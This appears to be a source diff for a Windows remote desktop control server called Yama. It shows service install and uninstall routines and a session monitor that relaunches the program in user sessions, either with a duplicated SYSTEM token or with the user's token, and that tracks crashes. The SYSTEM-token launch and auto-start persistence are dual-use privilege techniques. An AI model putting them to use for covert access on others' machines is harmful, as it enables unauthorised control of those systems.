g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = GetLastError();
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
return;
}
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
Mprintf("Service is now running");
HANDLE hThread = CreateThread(NULL, 0, ServerService_WorkerThread, NULL, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
SAFE_CLOSE_HANDLE(hThread);
}
SAFE_CLOSE_HANDLE(g_StopEvent);
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 3;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
Mprintf("Service stopped");
}
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode)
{
switch (ctrlCode) {
case SERVICE_CONTROL_STOP:
Mprintf("SERVICE_CONTROL_STOP received");
if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
break;
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 4;
g_ServiceStatus.dwWaitHint = 0;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
SetEvent(g_StopEvent);
break;
case SERVICE_CONTROL_INTERROGATE:
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
break;
default:
break;
}
}
// 服务工作线程
DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam)
{
(void)lpParam;
int heartbeatCount = 0;
char buf[128];
Mprintf("========================================");
Mprintf("Worker thread started");
Mprintf("Service will launch Yama GUI in user sessions");
// 读取配置:运行模式 (RunNormal: 0=服务+SYSTEM, 1=普通模式, 2=服务+User)
int runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
// 初始化会话监控器
ServerSessionMonitor monitor;
ServerSessionMonitor_Init(&monitor);
monitor.runAsUser = (runNormal == 2);
// 从配置恢复崩溃窗口状态
int savedCrashCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_WIN_COUNT, 0);
std::string savedStartStr = THIS_CFG.GetStr(CFG_CRASH_SECTION, CFG_CRASH_WIN_START, "0");
ULONGLONG savedFirstCrashTime = _strtoui64(savedStartStr.c_str(), NULL, 10);
ULONGLONG now = GetTickCount64();
if (savedCrashCount > 0 && savedFirstCrashTime > 0) {
// 检查是否仍在窗口期内
// 注意GetTickCount64() 在系统重启后会重置,所以如果 savedFirstCrashTime > now说明系统重启过
if (savedFirstCrashTime <= now && (now - savedFirstCrashTime) <= CRASH_WINDOW_MS) {
// 仍在窗口期内,恢复状态
monitor.crashCount = savedCrashCount;
monitor.firstCrashTime = savedFirstCrashTime;
sprintf_s(buf, sizeof(buf), "Crash window state restored: count=%d, elapsed=%llums",
savedCrashCount, now - savedFirstCrashTime);
Mprintf(buf);
} else {
// 窗口期已过或系统重启,清除状态
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_WIN_COUNT, 0);
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_WIN_START, "0");
Mprintf("Crash window expired or system rebooted, state cleared");
}
}
// 设置回调函数
monitor.onAgentStart = OnAgentStart;
monitor.onAgentExit = OnAgentExit;
monitor.onCrash = OnAgentCrash;
monitor.onCrashWindowChange = OnCrashWindowChange;
monitor.onCrashProtection = OnAgentCrashProtection;
if (!ServerSessionMonitor_Start(&monitor)) {
Mprintf("ERROR: Failed to start session monitor");
ServerSessionMonitor_Cleanup(&monitor);
return ERROR_SERVICE_SPECIFIC_ERROR;
}
Mprintf("Session monitor started successfully");
Mprintf("Yama GUI will be launched automatically in user sessions");
// 主循环,等待停止信号或监控器停止
// 使用 1 秒超时以快速响应监控器停止
while (WaitForSingleObject(g_StopEvent, 1000) != WAIT_OBJECT_0) {
// 检查监控器是否已停止(例如代理以 EXIT_MANUAL_STOP 退出或崩溃保护触发)
if (!monitor.running) {
Mprintf("Monitor stopped - exiting worker thread");
break;
}
heartbeatCount++;
if (heartbeatCount % 60 == 0) { // 每60秒记录一次1秒 * 60 = 60秒
sprintf_s(buf, sizeof(buf), "Service heartbeat - uptime: %d minutes", heartbeatCount / 60);
Mprintf(buf);
}
}
Mprintf("Stop signal received");
Mprintf("Stopping session monitor...");
ServerSessionMonitor_Stop(&monitor);
ServerSessionMonitor_Cleanup(&monitor);
Mprintf("Worker thread exiting");
Mprintf("========================================");
return ERROR_SUCCESS;
}
BOOL ServerService_Install(void)
{
SC_HANDLE schSCManager = OpenSCManager(
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
if (schSCManager == NULL) {
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
Mprintf("Please run as Administrator\n");
return FALSE;
}
char szPath[MAX_PATH];
if (!GetModuleFileNameA(NULL, szPath, MAX_PATH)) {
Mprintf("ERROR: GetModuleFileName failed (%d)\n", (int)GetLastError());
CloseServiceHandle(schSCManager);
return FALSE;
}
// 添加 -service 参数
char szPathWithArg[MAX_PATH + 32];
sprintf_s(szPathWithArg, sizeof(szPathWithArg), "\"%s\" -service", szPath);
Mprintf("Installing service...\n");
Mprintf("Executable path: %s\n", szPathWithArg);
SC_HANDLE schService = CreateServiceA(
schSCManager,
SERVER_SERVICE_NAME,
SERVER_SERVICE_DISPLAY,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
szPathWithArg,
NULL, NULL, NULL, NULL, NULL
);
if (schService == NULL) {
DWORD err = GetLastError();
if (err == ERROR_SERVICE_EXISTS) {
Mprintf("INFO: Service already exists\n");
schService = OpenServiceA(schSCManager, SERVER_SERVICE_NAME, SERVICE_ALL_ACCESS);
if (schService) {
Mprintf("SUCCESS: Service is already installed\n");
CloseServiceHandle(schService);
}
return TRUE;
} else if (err == ERROR_ACCESS_DENIED) {
Mprintf("ERROR: Access denied. Please run as Administrator\n");
} else {
Mprintf("ERROR: CreateService failed (%d)\n", (int)err);
}
CloseServiceHandle(schSCManager);
return FALSE;
}
Mprintf("SUCCESS: Service created successfully\n");
// 设置服务描述
SERVICE_DESCRIPTION sd;
sd.lpDescription = (LPSTR)SERVER_SERVICE_DESC;
ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd);
// 立即启动服务
DWORD err = 0;
Mprintf("Starting service...\n");
if (StartServiceA(schService, 0, NULL)) {
Mprintf("SUCCESS: Service started successfully\n");
Sleep(2000);
SERVICE_STATUS status;
if (QueryServiceStatus(schService, &status)) {
if (status.dwCurrentState == SERVICE_RUNNING) {
Mprintf("SUCCESS: Service is running\n");
} else {
Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState);
}
}
} else {
err = GetLastError();
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
Mprintf("INFO: Service is already running\n");
err = 0;
} else {
Mprintf("WARNING: StartService failed (%d)\n", (int)err);
}
}
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return err == 0;
}
BOOL ServerService_Uninstall(void)
{
SC_HANDLE schSCManager = OpenSCManager(
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
if (schSCManager == NULL) {
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
return FALSE;
}
SC_HANDLE schService = OpenServiceA(
schSCManager,
SERVER_SERVICE_NAME,
SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS
);
if (schService == NULL) {
Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError());
CloseServiceHandle(schSCManager);
return FALSE;
}
// 停止服务
SERVICE_STATUS status;
Mprintf("Stopping service...\n");
if (ControlService(schService, SERVICE_CONTROL_STOP, &status)) {
Mprintf("Waiting for service to stop");
Sleep(1000);
int waitCount = 0;
while (QueryServiceStatus(schService, &status) && waitCount < 30) {
if (status.dwCurrentState == SERVICE_STOP_PENDING) {
Mprintf(".");
Sleep(1000);
waitCount++;
} else {
break;
}
}
Mprintf("\n");
} else {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_NOT_ACTIVE) {
Mprintf("WARNING: Failed to stop service (%d)\n", (int)err);
}
}
BOOL r = FALSE;
// 删除服务
Mprintf("Deleting service...\n");
if (DeleteService(schService)) {
Mprintf("SUCCESS: Service uninstalled successfully\n");
r = TRUE;
} else {
Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
}
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return r;
}

View File

@@ -0,0 +1,73 @@
#ifndef SERVER_SERVICE_WRAPPER_H
#define SERVER_SERVICE_WRAPPER_H
#include <windows.h>
#include "UIBranding.h"
#ifdef __cplusplus
extern "C" {
#endif
// 服务配置:服务端使用不同的服务名
// Debug 版本使用不同的服务名,便于调试
// 服务名和显示名均可通过 UIBranding.h 定制
#ifdef _DEBUG
#define SERVER_SERVICE_NAME BRAND_SERVICE_NAME "_Debug"
#define SERVER_SERVICE_DISPLAY BRAND_SERVICE_DISPLAY " (Debug)"
#define SERVER_SERVICE_DESC "Provides remote desktop control server functionality."
#else
#define SERVER_SERVICE_NAME BRAND_SERVICE_NAME
#define SERVER_SERVICE_DISPLAY BRAND_SERVICE_DISPLAY
#define SERVER_SERVICE_DESC "Provides remote desktop control server functionality."
#endif
/*
# 停止服务
net stop YamaControlService
# 查看状态(应该显示 STOPPED
sc query YamaControlService
# 启动服务
net start YamaControlService
# 再次查看状态(应该显示 RUNNING
sc query YamaControlService
*/
// 检查服务状态
// 参数:
// registered - 输出参数,服务是否已注册
// running - 输出参数,服务是否正在运行
// exePath - 输出参数服务可执行文件路径可为NULL
// exePathSize - exePath缓冲区大小
// 返回: 成功返回TRUE
BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
char* exePath, size_t exePathSize);
// 简单启动服务
// 返回: ERROR_SUCCESS 或错误码
int ServerService_StartSimple(void);
// 运行服务(作为服务主入口)
// 返回: ERROR_SUCCESS 或错误码
int ServerService_Run(void);
// 停止服务
// 返回: ERROR_SUCCESS 或错误码
int ServerService_Stop(void);
// 安装服务
BOOL ServerService_Install(void);
// 卸载服务
BOOL ServerService_Uninstall(void);
// 服务工作线程
DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam);
#ifdef __cplusplus
}
#endif
#endif /* SERVER_SERVICE_WRAPPER_H */

View File

@@ -0,0 +1,672 @@
#include "stdafx.h"
#include "ServerSessionMonitor.h"
#include "CrashReport.h"
#include <stdio.h>
#include <tlhelp32.h>
#include <userenv.h>
#pragma comment(lib, "userenv.lib")
// 动态数组初始容量
#define INITIAL_CAPACITY 4
// 前向声明
static DWORD WINAPI MonitorThreadProc(LPVOID param);
static void MonitorLoop(ServerSessionMonitor* self);
static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId);
static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId);
static void TerminateAllGui(ServerSessionMonitor* self);
static void CleanupDeadProcesses(ServerSessionMonitor* self);
// 动态数组辅助函数
static void AgentArray_Init(ServerAgentProcessArray* arr);
static void AgentArray_Free(ServerAgentProcessArray* arr);
static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info);
static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index);
// 崩溃保护辅助函数
static void HandleFastCrash(ServerSessionMonitor* self, DWORD exitCode, ULONGLONG runtime);
// 处理快速崩溃(用于崩溃保护,防止重启循环)
// 注意崩溃统计onCrash已在调用方处理这里只处理崩溃窗口逻辑
static void HandleFastCrash(ServerSessionMonitor* self, DWORD exitCode, ULONGLONG runtime)
{
char buf[256];
ULONGLONG now = GetTickCount64();
sprintf_s(buf, sizeof(buf), "Fast crash detected: exitCode=0x%08X, runtime=%llu ms", exitCode, runtime);
Mprintf(buf);
// 检查是否在窗口期内
if (self->crashCount == 0 || (now - self->firstCrashTime) > CRASH_WINDOW_MS) {
// 开始新的窗口期
self->crashCount = 1;
self->firstCrashTime = now;
sprintf_s(buf, sizeof(buf), "Crash window started, count: %d", self->crashCount);
Mprintf(buf);
} else {
// 在窗口期内,增加计数
self->crashCount++;
sprintf_s(buf, sizeof(buf), "Crash count increased to: %d (threshold: %d)",
self->crashCount, CRASH_THRESHOLD);
Mprintf(buf);
if (self->crashCount >= CRASH_THRESHOLD) {
// 触发崩溃保护
self->crashProtected = TRUE;
sprintf_s(buf, sizeof(buf),
"CRASH PROTECTION TRIGGERED: Agent crashed %d times within %d seconds.",
CRASH_THRESHOLD, CRASH_WINDOW_MS / 1000);
Mprintf(buf);
// 调用崩溃保护回调
if (self->onCrashProtection) {
self->onCrashProtection();
}
}
}
// 调用崩溃窗口状态变化回调(用于持久化)
if (self->onCrashWindowChange) {
self->onCrashWindowChange(self->crashCount, self->firstCrashTime);
}
}
// ============================================
// 动态数组实现
// ============================================
static void AgentArray_Init(ServerAgentProcessArray* arr)
{
arr->items = NULL;
arr->count = 0;
arr->capacity = 0;
}
static void AgentArray_Free(ServerAgentProcessArray* arr)
{
if (arr->items) {
free(arr->items);
arr->items = NULL;
}
arr->count = 0;
arr->capacity = 0;
}
static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info)
{
// 需要扩容
if (arr->count >= arr->capacity) {
size_t newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2;
ServerAgentProcessInfo* newItems = (ServerAgentProcessInfo*)realloc(
arr->items, newCapacity * sizeof(ServerAgentProcessInfo));
if (!newItems) {
return FALSE;
}
arr->items = newItems;
arr->capacity = newCapacity;
}
arr->items[arr->count] = *info;
arr->count++;
return TRUE;
}
static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index)
{
if (index >= arr->count) {
return;
}
// 后面的元素前移
for (size_t i = index; i < arr->count - 1; i++) {
arr->items[i] = arr->items[i + 1];
}
arr->count--;
}
// ============================================
// 公共接口实现
// ============================================
void ServerSessionMonitor_Init(ServerSessionMonitor* self)
{
self->monitorThread = NULL;
self->running = FALSE;
self->runAsUser = FALSE; // 默认以SYSTEM身份运行
InitializeCriticalSection(&self->csProcessList);
AgentArray_Init(&self->agentProcesses);
// 崩溃保护初始化
self->crashCount = 0;
self->firstCrashTime = 0;
self->crashProtected = FALSE;
// 回调初始化
self->onAgentStart = NULL;
self->onAgentExit = NULL;
self->onCrash = NULL;
self->onCrashWindowChange = NULL;
self->onCrashProtection = NULL;
}
void ServerSessionMonitor_Cleanup(ServerSessionMonitor* self)
{
ServerSessionMonitor_Stop(self);
DeleteCriticalSection(&self->csProcessList);
AgentArray_Free(&self->agentProcesses);
}
BOOL ServerSessionMonitor_Start(ServerSessionMonitor* self)
{
if (self->running) {
Mprintf("Monitor already running");
return TRUE;
}
Mprintf("========================================");
Mprintf("Starting server session monitor...");
self->running = TRUE;
self->monitorThread = CreateThread(NULL, 0, MonitorThreadProc, self, 0, NULL);
if (!self->monitorThread) {
Mprintf("ERROR: Failed to create monitor thread");
self->running = FALSE;
return FALSE;
}
Mprintf("Server session monitor thread created");
return TRUE;
}
void ServerSessionMonitor_Stop(ServerSessionMonitor* self)
{
if (!self->running) {
return;
}
Mprintf("Stopping server session monitor...");
self->running = FALSE;
if (self->monitorThread) {
DWORD waitResult = WaitForSingleObject(self->monitorThread, 10000);
if (waitResult == WAIT_TIMEOUT) {
// 线程未在规定时间内退出,强制终止
Mprintf("WARNING: Monitor thread did not exit in time, terminating...");
TerminateThread(self->monitorThread, 1);
}
SAFE_CLOSE_HANDLE(self->monitorThread);
self->monitorThread = NULL;
}
// 终止所有GUI进程
Mprintf("Terminating all GUI processes...");
// TerminateAllGui(self);
Mprintf("Server session monitor stopped");
Mprintf("========================================");
}
// ============================================
// 内部函数实现
// ============================================
static DWORD WINAPI MonitorThreadProc(LPVOID param)
{
ServerSessionMonitor* monitor = (ServerSessionMonitor*)param;
MonitorLoop(monitor);
return 0;
}
static void MonitorLoop(ServerSessionMonitor* self)
{
int loopCount = 0;
char buf[256];
Mprintf("Monitor loop started");
while (self->running) {
loopCount++;
// 清理已终止的进程
CleanupDeadProcesses(self);
// 检查是否需要停止监控(可能在 CleanupDeadProcesses 中因 EXIT_MANUAL_STOP 设置)
if (!self->running) {
Mprintf("Monitor stop requested - exiting loop");
break;
}
// 检查是否触发了崩溃保护,如果是则退出监控循环
// 这会导致服务线程退出,进而停止整个服务
if (self->crashProtected) {
Mprintf("Crash protection triggered - stopping monitor loop");
self->running = FALSE;
break;
}
// 枚举所有会话
PWTS_SESSION_INFO pSessionInfo = NULL;
DWORD dwCount = 0;
if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1,
&pSessionInfo, &dwCount)) {
BOOL foundActiveSession = FALSE;
for (DWORD i = 0; i < dwCount; i++) {
if (pSessionInfo[i].State == WTSActive) {
DWORD sessionId = pSessionInfo[i].SessionId;
foundActiveSession = TRUE;
// 记录会话每5次循环记录一次避免日志过多
if (loopCount % 5 == 1) {
sprintf_s(buf, sizeof(buf), "Active session found: ID=%d, Name=%s",
(int)sessionId,
pSessionInfo[i].pWinStationName);
Mprintf(buf);
}
// 检查GUI是否在该会话中运行
if (!IsGuiRunningInSession(self, sessionId)) {
sprintf_s(buf, sizeof(buf), "GUI not running in session %d, launching...", (int)sessionId);
Mprintf(buf);
if (LaunchGuiInSession(self, sessionId)) {
Mprintf("GUI launched successfully");
// 给程序一些时间启动
Sleep(2000);
} else {
Mprintf("Failed to launch GUI");
}
}
// 只处理第一个活动会话
break;
}
}
if (!foundActiveSession && loopCount % 5 == 1) {
Mprintf("No active sessions found");
}
WTSFreeMemory(pSessionInfo);
} else {
if (loopCount % 5 == 1) {
Mprintf("WTSEnumerateSessions failed");
}
}
// 每10秒检查一次
for (int j = 0; j < 100 && self->running; j++) {
Sleep(100);
}
}
Mprintf("Monitor loop exited");
}
static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId)
{
(void)self; // 未使用
// 获取当前进程的 exe 名称
char currentExeName[MAX_PATH];
if (!GetModuleFileNameA(NULL, currentExeName, MAX_PATH)) {
return FALSE;
}
// 获取文件名(不含路径)
char* pFileName = strrchr(currentExeName, '\\');
if (pFileName) {
pFileName++;
} else {
pFileName = currentExeName;
}
// 获取当前服务进程的 PID
DWORD currentPID = GetCurrentProcessId();
// 创建进程快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
Mprintf("CreateToolhelp32Snapshot failed");
return FALSE;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL found = FALSE;
if (Process32First(hSnapshot, &pe32)) {
do {
// 查找同名的 exe
if (_stricmp(pe32.szExeFile, pFileName) == 0) {
// 排除服务进程自己
if (pe32.th32ProcessID == currentPID) {
continue;
}
// 获取进程的会话ID
DWORD procSessionId;
if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) {
if (procSessionId == sessionId) {
// 找到了:同名 exe不同 PID在目标会话中
found = TRUE;
break;
}
}
}
} while (Process32Next(hSnapshot, &pe32));
}
SAFE_CLOSE_HANDLE(hSnapshot);
return found;
}
// 终止所有GUI进程
static void TerminateAllGui(ServerSessionMonitor* self)
{
char buf[256];
EnterCriticalSection(&self->csProcessList);
sprintf_s(buf, sizeof(buf), "Terminating %d GUI process(es)", (int)self->agentProcesses.count);
Mprintf(buf);
for (size_t i = 0; i < self->agentProcesses.count; i++) {
ServerAgentProcessInfo* info = &self->agentProcesses.items[i];
sprintf_s(buf, sizeof(buf), "Terminating GUI PID=%d (Session %d)",
(int)info->processId, (int)info->sessionId);
Mprintf(buf);
// 检查进程是否还活着
DWORD exitCode;
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
if (exitCode == STILL_ACTIVE) {
// 进程还在运行,终止它
if (!TerminateProcess(info->hProcess, 0)) {
sprintf_s(buf, sizeof(buf), "WARNING: Failed to terminate PID=%d, error=%d",
(int)info->processId, (int)GetLastError());
Mprintf(buf);
} else {
Mprintf("GUI terminated successfully");
// 等待进程完全退出
WaitForSingleObject(info->hProcess, 5000);
}
} else {
sprintf_s(buf, sizeof(buf), "GUI PID=%d already exited with code %d",
(int)info->processId, (int)exitCode);
Mprintf(buf);
}
}
SAFE_CLOSE_HANDLE(info->hProcess);
}
self->agentProcesses.count = 0; // 清空列表
LeaveCriticalSection(&self->csProcessList);
Mprintf("All GUI processes terminated");
}
// 清理已经终止的进程
static void CleanupDeadProcesses(ServerSessionMonitor* self)
{
char buf[256];
EnterCriticalSection(&self->csProcessList);
size_t i = 0;
while (i < self->agentProcesses.count) {
ServerAgentProcessInfo* info = &self->agentProcesses.items[i];
DWORD exitCode;
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
if (exitCode != STILL_ACTIVE) {
// 进程已退出
ULONGLONG runtime = GetTickCount64() - info->launchTime;
sprintf_s(buf, sizeof(buf), "GUI PID=%d exited with code %d after %llu ms, cleaning up",
(int)info->processId, (int)exitCode, runtime);
Mprintf(buf);
// 调用退出回调(用于统计累计运行时间,每次退出都记录)
if (self->onAgentExit) {
self->onAgentExit(exitCode, runtime);
}
// 检查是否是用户主动退出(通过菜单退出)
// 如果是,停止监控循环,不再重启代理
if (exitCode == EXIT_MANUAL_STOP) {
Mprintf("Agent exited with EXIT_MANUAL_STOP - stopping monitor");
self->running = FALSE;
}
// 统计所有崩溃(用于 MTBF 计算)
// exitCode != 0 且不是主动退出/重启请求,都视为崩溃
else if (exitCode != 0 && exitCode != EXIT_RESTART_REQUEST) {
// 调用崩溃统计回调(所有崩溃都记录,用于 MTBF
if (self->onCrash) {
self->onCrash(exitCode, runtime);
}
// 快速崩溃才触发崩溃保护(防止重启循环)
if (runtime < FAST_CRASH_TIME_MS && !self->crashProtected) {
HandleFastCrash(self, exitCode, runtime);
}
}
SAFE_CLOSE_HANDLE(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
continue; // 不增加 i因为删除了元素
}
} else {
// 无法获取退出代码,可能进程已不存在
ULONGLONG runtime = GetTickCount64() - info->launchTime;
sprintf_s(buf, sizeof(buf), "Cannot query GUI PID=%d (runtime %llu ms), removing from list",
(int)info->processId, runtime);
Mprintf(buf);
// 调用退出回调(用于统计累计运行时间)
if (self->onAgentExit) {
self->onAgentExit(0xFFFFFFFF, runtime);
}
// 无法获取退出代码视为崩溃(保守处理)
// 调用崩溃统计回调(用于 MTBF
if (self->onCrash) {
self->onCrash(0xFFFFFFFF, runtime);
}
// 快速崩溃才触发崩溃保护
if (runtime < FAST_CRASH_TIME_MS && !self->crashProtected) {
HandleFastCrash(self, 0xFFFFFFFF, runtime);
}
SAFE_CLOSE_HANDLE(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
continue;
}
i++;
}
LeaveCriticalSection(&self->csProcessList);
}
static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
{
char buf[512];
sprintf_s(buf, sizeof(buf), "Attempting to launch GUI in session %d (runAsUser=%d)",
(int)sessionId, (int)self->runAsUser);
Mprintf(buf);
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面
HANDLE hToken = NULL;
HANDLE hDupToken = NULL;
if (self->runAsUser) {
// 模式1以用户身份运行解决IME、剪切板等问题
Mprintf("Mode: Run as User");
// 直接获取用户令牌
if (!WTSQueryUserToken(sessionId, &hToken)) {
sprintf_s(buf, sizeof(buf), "WTSQueryUserToken failed: %d", (int)GetLastError());
Mprintf(buf);
return FALSE;
}
// 复制为主令牌
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
sprintf_s(buf, sizeof(buf), "DuplicateTokenEx failed: %d", (int)GetLastError());
Mprintf(buf);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
Mprintf("User token obtained and duplicated");
} else {
// 模式2以SYSTEM身份运行现有逻辑
Mprintf("Mode: Run as SYSTEM");
// 获取当前服务进程的 SYSTEM 令牌
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
sprintf_s(buf, sizeof(buf), "OpenProcessToken failed: %d", (int)GetLastError());
Mprintf(buf);
return FALSE;
}
// 复制为可用于创建进程的主令牌
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
sprintf_s(buf, sizeof(buf), "DuplicateTokenEx failed: %d", (int)GetLastError());
Mprintf(buf);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
// 修改令牌的会话 ID 为目标用户会话
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
sprintf_s(buf, sizeof(buf), "SetTokenInformation failed: %d", (int)GetLastError());
Mprintf(buf);
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
Mprintf("SYSTEM token duplicated");
}
// 获取当前程序路径(就是自己)
char exePath[MAX_PATH];
if (!GetModuleFileNameA(NULL, exePath, MAX_PATH)) {
Mprintf("GetModuleFileName failed");
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
sprintf_s(buf, sizeof(buf), "Service path: %s", exePath);
Mprintf(buf);
// 检查文件是否存在
DWORD fileAttr = GetFileAttributesA(exePath);
if (fileAttr == INVALID_FILE_ATTRIBUTES) {
sprintf_s(buf, sizeof(buf), "ERROR: Executable not found at: %s", exePath);
Mprintf(buf);
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
// 构建命令行:同一个 exe 但添加 -agent 或 -agent-asuser 参数
char cmdLine[MAX_PATH + 32];
if (self->runAsUser) {
sprintf_s(cmdLine, sizeof(cmdLine), "\"%s\" -agent-asuser", exePath);
} else {
sprintf_s(cmdLine, sizeof(cmdLine), "\"%s\" -agent", exePath);
}
sprintf_s(buf, sizeof(buf), "Command line: %s", cmdLine);
Mprintf(buf);
// 获取用户令牌(用于获取环境块)
LPVOID lpEnvironment = NULL;
HANDLE hUserToken = NULL;
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
sprintf_s(buf, sizeof(buf), "WTSQueryUserToken failed: %d", (int)GetLastError());
Mprintf(buf);
}
// 使用用户令牌创建环境块
if (hUserToken) {
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
Mprintf("CreateEnvironmentBlock failed");
}
SAFE_CLOSE_HANDLE(hUserToken);
}
// 在用户会话中创建进程GUI程序不隐藏窗口
BOOL result = CreateProcessAsUserA(
hDupToken,
NULL, // 应用程序名(在命令行中解析)
cmdLine, // 命令行参数Yama.exe -agent
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 不继承句柄
NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW
lpEnvironment, // 环境变量
NULL, // 当前目录
&si,
&pi
);
if (lpEnvironment) {
DestroyEnvironmentBlock(lpEnvironment);
}
if (result) {
sprintf_s(buf, sizeof(buf), "SUCCESS: GUI process created (PID=%d)", (int)pi.dwProcessId);
Mprintf(buf);
// 保存进程信息,以便停止时可以终止它
EnterCriticalSection(&self->csProcessList);
ServerAgentProcessInfo info;
info.processId = pi.dwProcessId;
info.sessionId = sessionId;
info.hProcess = pi.hProcess; // 不关闭句柄,留着后面终止
info.launchTime = GetTickCount64(); // 记录启动时间
AgentArray_Add(&self->agentProcesses, &info);
LeaveCriticalSection(&self->csProcessList);
// 调用启动回调(用于统计启动次数)
if (self->onAgentStart) {
self->onAgentStart(pi.dwProcessId, sessionId);
}
SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭
} else {
DWORD err = GetLastError();
sprintf_s(buf, sizeof(buf), "CreateProcessAsUser failed: %d", (int)err);
Mprintf(buf);
// 提供更详细的错误信息
if (err == ERROR_FILE_NOT_FOUND) {
Mprintf("ERROR: Executable not found");
} else if (err == ERROR_ACCESS_DENIED) {
Mprintf("ERROR: Access denied - service may not have sufficient privileges");
} else if (err == 1314) {
Mprintf("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
}
}
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return result;
}

View File

@@ -0,0 +1,75 @@
#ifndef SERVER_SESSION_MONITOR_H
#define SERVER_SESSION_MONITOR_H
#include <windows.h>
#include <wtsapi32.h>
#ifdef __cplusplus
extern "C" {
#endif
#pragma comment(lib, "wtsapi32.lib")
// GUI进程信息
typedef struct ServerAgentProcessInfo {
DWORD processId;
DWORD sessionId;
HANDLE hProcess;
ULONGLONG launchTime; // 启动时间 (GetTickCount64)
} ServerAgentProcessInfo;
// GUI进程数组动态数组
typedef struct ServerAgentProcessArray {
ServerAgentProcessInfo* items;
size_t count;
size_t capacity;
} ServerAgentProcessArray;
// 崩溃保护参数
#define CRASH_WINDOW_MS (5 * 60 * 1000) // 5分钟窗口
#define CRASH_THRESHOLD 3 // 3次崩溃触发保护
